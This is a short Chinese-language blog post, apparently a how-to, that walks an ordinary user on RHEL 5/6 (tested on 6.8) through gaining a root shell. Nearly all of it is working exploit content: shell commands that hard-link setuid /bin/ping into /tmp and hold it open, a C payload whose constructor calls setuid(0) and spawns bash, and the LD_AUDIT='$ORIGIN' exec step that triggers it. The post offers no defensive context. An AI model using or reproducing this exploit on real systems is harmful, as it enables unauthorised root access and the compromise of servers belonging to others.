RHEL6普通用户提权到root

需要首先有个普通用户的shell

实验环境:RHEL6.8

应该只针对RHEL 5/6,别的版本没试


如下都是在普通用户下执行的,例如oracle用户

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

rm -rf /tmp/exploit

 

vim /tmp/payload.c   编辑文件,写入:
 

void __attribute__((constructor)) init()

{

         setuid(0);

         system("/bin/bash");

}
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c

使用gcc编译

使用当前的普通用户执行如下,会报错,然后你就会发现shell变成了root

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

 

注意最后需要在命令行中手动去执行LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3,否则不会进入root#

你可能感兴趣的:(Linux)